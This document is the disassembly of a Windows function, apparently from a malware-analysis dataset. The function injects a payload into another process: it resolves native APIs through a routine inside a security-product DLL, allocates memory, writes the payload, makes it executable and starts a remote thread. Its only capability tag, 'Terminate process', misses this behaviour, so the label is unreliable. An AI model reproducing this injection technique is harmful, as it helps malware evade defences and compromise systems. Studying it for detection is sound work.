Function at 0x140001070
Capabilities:
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x2f]
sub rsp, 0xf8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor edi, edi
mov r12d, r8d
mov r13, rcx
mov qword [rbp - 0x49], rdi
lea rcx, str.atcuf64.dll
mov qword [rbp - 0x51], rdi
mov qword [rbp + 0xf], rdi
mov qword [rbp - 0x69], rdi
mov qword [rbp - 0x59], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.ntdll.dll
mov dword [rbp - 1], edi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r8, [rbp - 0x69]
add rbx, 0x10620
lea rdx, str.NtOpenProcess
mov qword [rbp - 0x61], rax
lea rcx, [rbp - 0x61]
call rbx
mov r15, qword [rbp - 0x69]
test r15, r15
jne 0x14000110f
lea rcx, str.____Failed_to_resolve_NTAPI_NtOpenProcess__n
call fcn.140001010
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [rbp - 0x69]
lea rdx, str.NtAllocateVirtualMemory
lea rcx, [rbp - 0x61]
call rbx
mov rdi, qword [rbp - 0x69]
test rdi, rdi
jne 0x14000113f
lea rcx, str.____Failed_to_resolve_NTAPI_NtAllocateVirtualMemory__n
call fcn.140001010
lea ecx, [rdi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x138], rsi
lea r8, [rbp - 0x69]
lea rdx, str.NtProtectVirtualMemory
mov qword [rsp + 0xf0], r14
lea rcx, [rbp - 0x61]
call rbx
mov r14, qword [rbp - 0x69]
lea r8, [rbp - 0x69]
lea rdx, str.NtWriteVirtualMemory
lea rcx, [rbp - 0x61]
call rbx
mov rsi, qword [rbp - 0x69]
test rsi, rsi
jne 0x140001194
lea rcx, str.____Failed_to_resolve_NTAPI_NtWriteVirtualMemory__n
call fcn.140001010
lea ecx, [rsi - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r8, [rbp - 0x69]
lea rdx, str.NtCreateThreadEx
lea rcx, [rbp - 0x61]
call rbx
mov rbx, qword [rbp - 0x69]
test rbx, rbx
jne 0x1400011c4
lea rcx, str.____Failed_to_resolve_NTAPI_NtCreateThreadEx__n
call fcn.140001010
lea ecx, [rbx - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor eax, eax
mov qword [rbp - 0x41], r12
xorps xmm0, xmm0
mov dword [rbp - 0x31], 0x30
xor r12d, r12d
mov qword [rbp - 0x29], rax
lea r9, [rbp - 0x41]
mov qword [rbp - 0x39], r12
lea r8, [rbp - 0x31]
mov dword [rbp - 0x19], eax
mov edx, 0x1fffff
mov qword [rbp - 0x21], rax
lea rcx, [rbp - 0x59]
movdqu xmmword [rbp - 0x11], xmm0
call r15
test eax, eax
je 0x14000121d
mov edx, eax
lea rcx, str.____Failed_to_Open_Process:__x__n
call fcn.140001010
lea ecx, [r12 - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x59]
lea r9, [rbp + 7]
mov dword [rsp + 0x28], 4
lea rdx, [rbp - 0x51]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
mov qword [rbp + 7], 0x1b2
call rdi
test eax, eax
je 0x140001264
mov edx, eax
lea rcx, str.____Remote_Allocation_Failed:__x__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rdx, qword [rbp - 0x51]
lea rax, [rbp + 0xf]
mov rcx, qword [rbp - 0x59]
mov r9d, 0x1b2
mov r8, r13
mov qword [rsp + 0x20], rax
call rsi
test eax, eax
je 0x14000129e
mov edx, eax
lea rcx, str.____Failed_to_write_payload_in_remote_process:__x__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rbp - 0x59]
lea rax, [rbp - 1]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp + 7]
lea rdx, [rbp - 0x51]
call r14
test eax, eax
je 0x1400012da
mov edx, eax
lea rcx, str.____Failed_to_change_memory_protection_from_RW_to_RX:__x__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [rbp - 0x51]
lea rcx, [rbp - 0x49]
mov r9, qword [rbp - 0x59]
xor r8d, r8d
mov qword [rsp + 0x50], r12
mov edx, 0x1fffff
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
je 0x140001331
mov edx, eax
lea rcx, str.____Failed_to_Execute_Remote_Thread:__x__n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rsi, qword [rsp + 0x138]
mov r14, qword [rsp + 0xf0]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140001470
add rsp, 0xf8
pop r15
pop r13
pop r12
pop rdi
pop rbx
pop rbp
ret